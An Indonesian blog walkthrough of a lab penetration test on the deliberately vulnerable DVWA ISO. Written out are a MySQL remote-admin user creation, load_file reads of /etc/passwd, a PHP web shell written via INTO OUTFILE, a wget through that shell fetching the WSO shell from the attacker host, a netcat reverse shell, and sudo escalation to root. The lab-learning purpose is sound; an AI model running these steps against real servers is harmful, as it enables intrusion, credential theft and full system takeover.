[Pentest Series] Hacking DVWA ISO sampai root access (Way-2)

Disini kamu akan melakukan real penetration testing terhadap sistem yang berjalan. Kamu akan mempelajari bagaimana caranya mendapatkan akses tertinggi (root/administrator) pada suatu server.

Ini merupakan lanjutan dari artikel sebelumnya https://medium.com/sadulur/pentest-series-hacking-dvwa-iso-sampai-root-access-way-1-8ee9a06067d6

Step awal seperti download & menjalankan ISO & scan port silahkan lihat pada artikel sebelumnya.

Disini saya akan membuat asumsi sendiri:

  1. Sysadmin sudah mengupgrade kernelnya ke 4.9. Sehingga tidak memungkinkan untuk exploitasi kernel
  2. DVWA sudah dinonaktifkan sehingga kita tidak bisa masuk ke dalam dvwa

[1] Lakukan scanning direktori web

Lakukan dirb atau dirsearch seperti yang saya lakukan dibawah (beberapa saya cut biar ga terlalu panjang):

kucing@kucing-desktop-nuc:~$ dirb http://192.168.56.101/ bruteforce/common_web.txt
---- Scanning URL: http://192.168.56.101/ ----
+ http://192.168.56.101/login.php (CODE:200|SIZE:1224)
+ http://192.168.56.101/favicon.ico (CODE:200|SIZE:1406)
+ http://192.168.56.101/index.php (CODE:302|SIZE:0)
+ http://192.168.56.101/php.ini (CODE:200|SIZE:148)
+ http://192.168.56.101/phpinfo.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.56.101/phpmyadmin/

[2] Masuk ke phpmyadmin

Coba masuk /phpmyadmin.

Ternyata bisa masuk tanpa login persis seperti gambar diatas. Kok bisa? Mari kita lihat config.php dari phpmyadmin

auth_type ‘config’ membuat dia hanya membaca file konfig tanpa melakukan autentikasi kembali

[3] Remote User Query

Karena port 3306 terbuka, artinya dia listen untuk semua interface. Namun tentu kamu juga harus nambah user yang berperan sebagai administrator dan bisa diremote dari luar. Buka tab “SQL” dan jalankan query

CREATE USER 'hack'@'%' IDENTIFIED BY 'hack';
GRANT ALL PRIVILEGES ON *.* TO 'hack'@'%' WITH GRANT OPTION;

Setelah query dijalankan, coba remote access dengan cara

mysql -h 192.168.56.101 -u hack -p
Enter password: <hack>
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 86
Server version: 5.1.41 Source distribution
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>

Oke selamat kamu sudah masuk ke MySQL console. Saatnya melakukan eksploitasi

[4] Upload PHP Shell via MySQL

Ini adalah langkah-langkah yang bisa kamu ikuti untuk mendapatkan shell via akses SQL. Ini juga bisa digunakan untuk teknik SQL Injection

  1. Test buka file /etc/passwd
mysql> select load_file('/etc/passwd');
| root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
dvwa:x:1000:1000:dvwa,,,:/home/dvwa:/bin/bash
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
messagebus:x:103:110::/var/run/dbus:/bin/false
usbmux:x:104:46:usbmux daemon,,,:/home/usbmux:/bin/false
pulse:x:105:111:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:106:113:RealtimeKit,,,:/proc:/bin/false
|

2. Test buka file konfigurasi web server. Didapat sebuah web file direktori yang memuat informasi lokasi file tersebut

    In file: /opt/lampp/etc/httpd.conf
334: ScriptAlias /cgi-bin/ "/opt/lampp/cgi-bin/"
In file: /opt/lampp/etc/extra/httpd-multilang-errordoc.conf
22: Alias /error/ "/opt/lampp/error/"
In file: /opt/lampp/etc/extra/httpd-autoindex.conf
20: Alias /icons/ "/opt/lampp/icons/"
In file: /opt/lampp/etc/extra/httpd-xampp.conf
10: Alias /phpmyadmin "/opt/lampp/phpmyadmin"
11: Alias /phpsqliteadmin "/opt/lampp/phpsqliteadmin"
In file: /opt/lampp/etc/httpd.conf
526: Alias /webdav /opt/lampp/htdocs/uploads
Mungkin kamu bertanya2 darimana saya dapat keterangan seperti ini. Silahkan dicari sendiri yah. Sengaja tidak saya tulis :p

3. Test buka file konfigurasi httpd di /opt/lampp/etc/httpd.conf

mysql> select load_file('/opt/lampp/etc/httpd.conf');
....
DocumentRoot "/opt/lampp/htdocs"
....

Ketahuan deh direktori rootnya di /opt/lampp. Berarti direktori dvwa itu di /opt/lampp/htdocs/dvwa. Namun informasi lainnya mengatakan bahwa ada direktori web lain yaitu /opt/lampp/phpmyadmin untuk direktori /phpmyadmin

4. Mencari tempat upload shell

Ini adalah step PALING SUSAH yang harus kamu jalanin. Kamu harus mencari direktori yang bisa kamu tulis. Ga cuma itu, direktori itu harus bisa dibaca dan diakses dari web server. Disinilah “tebak-tebakan” mode dijalankan.

Sekarang saya coba mau menulis sebuah file test.html di direktori /opt/lampp/phpmyadmin

mysql> select "test" into outfile '/opt/lampp/phpmyadmin/test.html';
ERROR 1 (HY000): Can't create/write to file '/opt/lampp/phpmyadmin/test.html' (Errcode: 13)

Oops, ternyata error. Yaudah dengan mencoba seluruh kemungkinan direktori, termasuk output direktori dari dirb, akhirnya saya nemu di /opt/lampp/htdocs/hackable/uploads

mysql> select "test" into outfile '/opt/lampp/phpmyadmin/test.html';
ERROR 1 (HY000): Can't create/write to file '/opt/lampp/phpmyadmin/test.html' (Errcode: 13)
mysql> select "test" into outfile '/opt/lampp/htdocs/hackable/uploads/test.html';
Query OK, 1 row affected (0,00 sec)
kucing@kucing-desktop-nuc:~$ curl http://192.168.56.101/hackable/uploads/test.html
test
Kok namanya ngehack itu malah maenan tebak-tebakan sih gan?

Itulah yang namanya ENUMERATION. Kamu harus bisa mengenumerate SELURUH KEMUNGKINAN yang ada dan berharap kamu mendapatkan step selanjutnya dari salah satu aksi yang kamu kerjakan.

Oke saatnya upload shell ke direktori yang dimaksud lewat mysql shell

mysql> select "<?php echo shell_exec($_GET['cmd']);?>" into outfile '/opt/lampp/htdocs/hackable/uploads/bd.php';
Query OK, 1 row affected (0,00 sec)

Lalu coba akses dengan cara seperti ini

kucing@kucing-desktop-nuc:~$ curl "http://192.168.56.101/hackable/uploads/bd.php?cmd=id%20;%20pwd"
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
/opt/lampp/htdocs/hackable/uploads

Yap, shell_exec kamu sudah bekerja. Sekarang gimana caranya upload shell wso atau shell lainnya agar memudahkan kamu bekerja. Disini saya menggunakan python SimpleHTTPServer pada host yang memuat file wso2.5.1.php

kucing@kucing-desktop-nuc:~/Downloads$ python -m SimpleHTTPServer &
Serving HTTP on 0.0.0.0 port 8000 ...
kucing@kucing-desktop-nuc:~$ curl "http://192.168.56.101/hackable/uploads/bd.php?cmd=wget%20http://192.168.56.1:8000/wso2.5.1.php"
kucing@kucing-desktop-nuc:~$ curl "http://192.168.56.101/hackable/uploads/bd.php?cmd=ls"
bd.php
dvwa_email.png
test.html
wso2.5.1.php

Susah juga ya cuma mau upload shell doang? Ya begitulah namanya juga hacking hahaha :D. Try Harder will be always true hacker motto

[5] Membangkitkan shell dan analisis dengan linuxprivchecker

Saya tidak akan mau mengulang caranya. Kalau kamu lupa, silahkan baca artikel sebelumnya yah!

Outputnya wajib seperti ini ya

kucing@kucing-desktop-nuc:~/Downloads$ nc -lvp 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [192.168.56.101] port 31337 [tcp/*] accepted (family 2, sport 53382)
/bin/sh: can't access tty; job control turned off
$ python -c "import pty; pty.spawn('/bin/bash');"
python: /opt/lampp/lib/libz.so.1: no version information available (required by python)
python: /opt/lampp/lib/libcrypto.so.0.9.8: no version information available (required by python)
python: /opt/lampp/lib/libssl.so.0.9.8: no version information available (required by python)
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ export TERM=xterm
export TERM=xterm
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ id
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ python linuxprivchecker.py > hasil.txt

[6] Analisis dari output linuxprivchecker

Oke, mari kita bedah satu-per-satu per section. Tolong diperhatikan secara seksama.

[6.1] Kernel

[+] Kernel
Linux version 2.6.32-24-generic (buildd@vernadsky) (gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5) ) #41-Ubuntu SMP Thu Aug 19 01:12:52 UTC 2010

Oke, kita sudah berasumsi diatas bahwa kernel dvwa sudah diupgrade ke versi 4.9. Sehingga saya tidak akan menggunakan cara yang sama dengan artikel saya sebelumnya.

[6.2] Socket Process

[+] Netstat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN -
tcp 0 0 192.168.56.101:53382 192.168.56.1:31337 ESTABLISHED 2506/perl
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -

Ga ada service yang menarik disini.

[TUGAS] Silahkan kamu identifikasi seluruh port yang berjalan di netstat tersebut

[6.3] Scheduled Cron Jobs

[+] Scheduled cron jobs
-rw-r--r-- 1 root root 724 Apr 15 2010 /etc/crontab
/etc/cron.d:
total 1
drwxr-xr-x 2 root root 35 Aug 24 2010 .
drwxr-xr-x 109 root root 260 Jan 13 08:31 ..
-rw-r--r-- 1 root root 102 Apr 15 2010 .placeholder
.....

Cek cronjob file, berharap ada yang world writable namun tidak ada. Kita kembali akan kesini nanti, siapa tau ada file world writable yang dipanggil oleh cron. Kalau bingung apa itu cronjob. Silahkan tanya om google :D

[6.4] Seluruh user yang punya bash

Itu biasanya adalah shell legitimate user. Gunakan perintah berikut

nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
dvwa:x:1000:1000:dvwa,,,:/home/dvwa:/bin/bash

Cobain deh yuk cari passwordnya. Mungkin di database atau config aplikasi. Sekarang mari kita sisir database

cukup menarik, decrypt yuk passwordnya

Oke, saatnya membuka hashkiller dan kita cari tahu password masing-masing user ini

Semua hash ketebak semua

Hmm, bruteforce 5 password di 2 user (root & dvwa) seharusnya sih tidak menghabiskan energi. Mari yuk kita mencoba

nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ su - root
su - root
Password: password
su: Authentication failure
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ su - dvwa
su - dvwa
Password: password
dvwa@dvwa:~$ id
id
uid=1000(dvwa) gid=1000(dvwa) groups=4(adm),20(dialout),24(cdrom),46(plugdev),107(lpadmin),108(sambashare),109(admin),1000(dvwa)
dvwa@dvwa:~$

Oops? password password gagal untuk root dan berhasil untuk dvwa? Hmm karena ini ubuntu dan kita sudah masuk shell user. Tidak ada salahnya kita mencoba privilege sudo milik user dvwa.

dvwa@dvwa:~$ sudo -l
sudo -l
[sudo] password for dvwa: dvwa
Matching Defaults entries for dvwa on this host:
env_reset
User dvwa may run the following commands on this host:
(ALL) ALL

AW, alhamdulillah ane ga jadi begadang ngerjain VM beginian hahaha. Artinya adalah user dvwa boleh mengakses semua perintah dengan sudo. Ini artinya adalah kamu bisa panggil sudo su

dvwa@dvwa:~$ sudo su
sudo su
root@dvwa:/home/dvwa# id
id
uid=0(root) gid=0(root) groups=0(root)
root@dvwa:/home/dvwa#

[7] Conclusion

Harus gw akui bahwa untuk tutorial kali ini banyak sekali unsur “menebak”nya. Asal kamu tahu, saya sendiripun cukup lama loh mencari cara untuk mendapatkan root access disini tanpa lewat cara pertama (pada artikel sebelumnya).

Dan unsur terpenting yang wajib kamu pelajari disini adalah tidak selalu melulu namanya hacking itu adalah hal teknikal. Perlu kamu tahu bahwa di dunia pentest, segala cara pada dasarnya diperbolehkan asal tidak mengganggu sistem yang sedang kita serang. Bahkan juga boleh melakukan soceng (Social Engineering), tapi jangan terlalu berlebihan mengandalkan teknik ini.

Well, gw rasa ga akan ada Way-3 karena way-2 pun juga susahnya amit-amit haha. Tapi, gw bakal seneng banget kalo diantara kalian ada yang menemukan cara ketiga untuk mencapai root iso ini. Bakal gw post dan gw tulis creditnya bagi yang tau cara lain mencapai root selain 2 jalan yang gw tempuh

Well okay bye byee. Sampai jumpa pada artikel selanjutnya, tentu di VM yang baru, yang lebih menantang dan belum ada orang/blog yang sudah membahasnya.

Semoga bermanfaat! :)

Jangan lupa share artikel ini ke teman kamu yang sedang belajar hacking juga

Habibie Faried
habibiefaried@gmail.com
@habibiefaried
CISSP & OSC* Wanna Be